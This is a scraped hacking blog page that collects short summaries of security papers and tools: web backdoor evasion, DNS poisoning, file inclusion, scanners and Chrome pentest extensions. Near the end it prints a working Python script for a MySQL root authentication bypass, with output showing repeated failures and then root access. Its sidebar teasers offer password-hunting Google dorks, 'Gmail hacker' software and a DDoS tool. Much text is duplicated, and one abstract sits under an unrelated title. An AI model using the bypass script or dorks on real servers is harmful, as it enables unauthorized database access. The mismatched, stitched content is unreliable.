Abstract:
This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoor inside web applications.
This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected
Download PDF: http://www.garage4hackers.com
Popular Posts
-
admin account info" filetype:log !Host=*.* intext:enc_UserPassword=* ext:pcf "# -FrontPage-" ext:pwd inurl:(service | authors...
-
1. Download Gmail hacker software to hack Gmail password. http://www.4shared.com/file/175280640/863ac191/Gmail_Hack.html 2. Now, ru...
-
Ddoser 3.4 - Credit to Online D0wnload Pass:-thisisthepass111 [DDoSeR] (Programmed in Delphi 7 By Sam) Ma...
-
This summary is not available. Please click here to view the post.
-
What is the Use of The Proxy? Hide your IP. Browse the Internet anonymously. 100 percentage working process list Share Here is the list of p...
Blogroll
BlogRoll
Recent Posts
Showing posts with label Papers. Show all posts
WebBackdoors , Attack, Evasion and Detection
WebBackdoors , Attack, Evasion and Detection
Tag :
Papers,
Tricks And Tutorials,
DNS poisoning via Port
DNS poisoning via Port
Watchfire released a very interesting whitepaper which describes a DNS poisoning attack against stub resolvers.
It discloses two vulnerabilities:
A vulnerability in Java (CVE-2011-3552, CVE-2010-4448) which enables remote DNS poisoning using Java applets. This vulnerability can be triggered when opening a malicious webpage. A successful exploitation of this vulnerability may lead to disclosure and manipulation of cookies and web pages, disclosure of NTLM credentials and clipboard data of the logged-on user, and even firewall bypass.
A vulnerability in multiuser Windows environments which enables local DNS cache poisoning of arbitrary domains. This vulnerability can be triggered by a normal user (i.e. one with non-administrative rights) in order to attack other users of the system. A successful exploitation of this vulnerability may lead to information disclosure, privilege escalation, universal XSS and more.
Download Whitepaper: http://blog.watchfire.com/
Video Demo: http://blog.watchfire.com
It discloses two vulnerabilities:
A vulnerability in Java (CVE-2011-3552, CVE-2010-4448) which enables remote DNS poisoning using Java applets. This vulnerability can be triggered when opening a malicious webpage. A successful exploitation of this vulnerability may lead to disclosure and manipulation of cookies and web pages, disclosure of NTLM credentials and clipboard data of the logged-on user, and even firewall bypass.
A vulnerability in multiuser Windows environments which enables local DNS cache poisoning of arbitrary domains. This vulnerability can be triggered by a normal user (i.e. one with non-administrative rights) in order to attack other users of the system. A successful exploitation of this vulnerability may lead to information disclosure, privilege escalation, universal XSS and more.
Download Whitepaper: http://blog.watchfire.com/
Video Demo: http://blog.watchfire.com
Remote and Local File Inclusion Vulnerabilities
Remote and Local File Inclusion Vulnerabilities
Introduction:
Remote and local file inclusion (RFI/LFI) attacks are a favorite choice for hackers and many security professionals aren’t noticing.
Why is RFI/LFI attractive to hackers? A successful attack allows the execution of arbitrary code on the attacked platform’s web application. With RFI/LFI, a hacker can take over a web server.Surprisingly, however, RFI/LFI has not been taken seriously by the security community. In real-world hacking attacks, RFI/LFI attacks made up 21 percent of all observed application attacks.For hackers, RFI/LFI attacks are very attractive since they target PHP applications. With more than 77 percent of today’s websites running PHP, RFI should be on every security practitioner’s radar but isn’t. Some notorious RFI/LFI examples include:
› Lulzsec, using RFI bots to attack their targets.
› TimThumb, a WordPress add-on, which was vulnerable to LFI and paved the way to 1.2 million infected websites.
In one hacker forum, several discussion shed light on the value of RFI/LFI:
Download PDF: http://www.imperva.com
Remote and local file inclusion (RFI/LFI) attacks are a favorite choice for hackers and many security professionals aren’t noticing.
Why is RFI/LFI attractive to hackers? A successful attack allows the execution of arbitrary code on the attacked platform’s web application. With RFI/LFI, a hacker can take over a web server.Surprisingly, however, RFI/LFI has not been taken seriously by the security community. In real-world hacking attacks, RFI/LFI attacks made up 21 percent of all observed application attacks.For hackers, RFI/LFI attacks are very attractive since they target PHP applications. With more than 77 percent of today’s websites running PHP, RFI should be on every security practitioner’s radar but isn’t. Some notorious RFI/LFI examples include:
› Lulzsec, using RFI bots to attack their targets.
› TimThumb, a WordPress add-on, which was vulnerable to LFI and paved the way to 1.2 million infected websites.
In one hacker forum, several discussion shed light on the value of RFI/LFI:
Download PDF: http://www.imperva.com
Tag :
Papers,
Tricks And Tutorials,
WebVulScan - Web Application Vulnerability Scanner
WebVulScan - Web Application Vulnerability Scanner
WebVulScan is a web application vulnerability scanner. It is a web application itself written in PHP and can be used to test remote, or local, web applications for security vulnerabilities. As a scan is running, details of the scan are dynamically updated to the user. These details include the status of the scan, the number of URLs found on the web application, the number of vulnerabilities found and details of the vulnerabilities found.
After a scan is complete, a detailed PDF report is emailed to the user. The report includes descriptions of the vulnerabilities found, recommendations and details of where and how each vulnerability was exploited.
The vulnerabilities tested by WebVulScan are:
- Reflected Cross-Site Scripting
- Stored Cross-Site Scripting
- Standard SQL Injection
- Broken Authentication using SQL Injection
- Autocomplete Enabled on Password Fields
- Potentially Insecure Direct Object References
- Directory Listing Enabled
- HTTP Banner Disclosure
- SSL Certificate not Trusted
- Unvalidated Redirects
- Crawler: Crawls a website to identify and display all URLs belonging to the website.
- Scanner: Crawls a website and scans all URLs found for vulnerabilities.
- Scan History: Allows a user to view or download PDF reports of previous scans that they performed.
- Register: Allows a user to register with the web application.
- Login: Allows a user to login to the web application.
- Options: Allows a user to select which vulnerabilities they wish to test for (all are enabled by default).
- PDF Generation: Dynamically generates a detailed PDF report.
- Report Delivery: The PDF report is emailed to the user as an attachment.
PS: installed and tested it on XAMPP,works fine :)
Web Application Penetration testing with Google Chrome Browser
Web Application Penetration testing with Google Chrome Browser
Just found some interesting and useful extensions that can help many of us when we are doing an penetration test...
XSS Rays
Complete XSS reversing/scanner tool. Find how a site is filtering code, check for injections and inspect objects.
XSS Rays is a security tool to help pen test large web sites. It's core features include a XSS scanner, XSS Reverser and object inspection. Need to know how a certain page filters output? Don't have the source? No problem. XSS Rays will blackbox reverse a XSS filter without needing the source code.
Google Hack Data Base
Google Hack Data Base - application to work with GHDB.
Google Hack Data Base - application to work with GHDB. Choose a category and click on the necessary query. To find description vulnerability, click "Search on www.exploit-db.com". Application provides possibility to search vulnerabilities on the specified site. Just click on the search button and enter the site name. This application allows a better understanding of the basis web security.
Websecurify Scanner
Websecurify is a powerful cross-platform web security testing technology designed from the ground up with simplicity in mind.
Websecurify is an advanced testing solution built to quickly and accurately identify web application security issues.Websecurify saves you time and money by automating a tiresome and very technical process used by experts to find scary security vulnerabilities.
HPP Finder
Detect potential HPP attack vectors.
HTTP Parameter Pollution (HPP) is a recently discovered web exploitation technique. Please read the NDSS 2010 paper for more details about the technique. HPP Finder is a Chrome extension designed for detecting HPP attempts. HPP Finder can detect URLs and HTML forms that might be susceptible of parameter pollution, but it is not a complete solution against HPP.
Form Fuzzer
HTML form fuzz tester.
This is a fuzz testing, utility created to assist in populating web forms with some random data.
Site Spider
Website Crawler
Use this extension to spider a website looking for dead links. One can restrict the spidering to a directory, a domain, or any other regular expression. The spider can also follow one link beyond this restriction, allowing one to find broken external links.
XSS ChEF
Chrome Extension Exploitation Framework
This is a Chrome Extension Exploitation Framework - think BeEF for Chrome extensions. Whenever you encounter a XSS vulnerability in Chrome extension, ChEF will ease the exploitation.
XSS Rays
Complete XSS reversing/scanner tool. Find how a site is filtering code, check for injections and inspect objects.
XSS Rays is a security tool to help pen test large web sites. It's core features include a XSS scanner, XSS Reverser and object inspection. Need to know how a certain page filters output? Don't have the source? No problem. XSS Rays will blackbox reverse a XSS filter without needing the source code.
Google Hack Data Base
Google Hack Data Base - application to work with GHDB.
Google Hack Data Base - application to work with GHDB. Choose a category and click on the necessary query. To find description vulnerability, click "Search on www.exploit-db.com". Application provides possibility to search vulnerabilities on the specified site. Just click on the search button and enter the site name. This application allows a better understanding of the basis web security.
Websecurify Scanner
Websecurify is a powerful cross-platform web security testing technology designed from the ground up with simplicity in mind.
Websecurify is an advanced testing solution built to quickly and accurately identify web application security issues.Websecurify saves you time and money by automating a tiresome and very technical process used by experts to find scary security vulnerabilities.
HPP Finder
Detect potential HPP attack vectors.
HTTP Parameter Pollution (HPP) is a recently discovered web exploitation technique. Please read the NDSS 2010 paper for more details about the technique. HPP Finder is a Chrome extension designed for detecting HPP attempts. HPP Finder can detect URLs and HTML forms that might be susceptible of parameter pollution, but it is not a complete solution against HPP.
Form Fuzzer
HTML form fuzz tester.
This is a fuzz testing, utility created to assist in populating web forms with some random data.
Site Spider
Website Crawler
Use this extension to spider a website looking for dead links. One can restrict the spidering to a directory, a domain, or any other regular expression. The spider can also follow one link beyond this restriction, allowing one to find broken external links.
XSS ChEF
Chrome Extension Exploitation Framework
This is a Chrome Extension Exploitation Framework - think BeEF for Chrome extensions. Whenever you encounter a XSS vulnerability in Chrome extension, ChEF will ease the exploitation.
Tag :
Papers,
Tricks And Tutorials,
Off-Path TCP Sequence Number Inference Attack
Off-Path TCP Sequence Number Inference Attack
How Firewall Middleboxes Reduce Security
Modern web technologies, like AJAX result in more responsive and usable web applications, sometimes called Rich Internet Applications (RIAs). Traditional crawling techniques are not sufficient for crawling RIAs. We present a new strategy for crawling RIAs. This new strategy is designed based on the concept of “Model-Based Crawling” introduced in [3] and uses statistics accumulated during the crawl to select what to explore next with a high probability of uncovering some new information. The performance of our strategy is compared with our previous strategy, as well as the classical Breadth-First and Depth-First on two real RIAs and two test RIAs. The results show this new strategy is significantly better than the Breadth-First and the Depth-First strategies (which are widely used to crawl RIAs), and outperforms our previous strategy while being much simpler to implement.
Download PDF: http://ssrg.site.uottawa.ca
Source: http://blog.watchfire.com
Download PDF: http://ssrg.site.uottawa.ca
Source: http://blog.watchfire.com
Tag :
Papers,
Security vulnerability in MySQL/MariaDB sql/password.c
There has been a new MYSQL authentication bypass exploit released on seclist
here:http://seclists.org/oss-sec/2012/q2/493.
It is absolutely trivial to gain root access to a MySQL database at this point. Thanks to jduck for the tweet bringing this to our attention.
here:http://seclists.org/oss-sec/2012/q2/493.
It is absolutely trivial to gain root access to a MySQL database at this point. Thanks to jduck for the tweet bringing this to our attention.
Easy python script to gain root access to MySQL:
#!/usr/bin/python
import subprocess
while 1: subprocess.Popen("mysql -u root mysql --password=blah",
shell=True).wait()
Below running the command:
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql>
A Statistical Approach for Efficient Crawling of Rich Internet Applications
Download PDF: http://ssrg.site.uottawa.ca
Source: http://blog.watchfire.com
Tag :
Papers,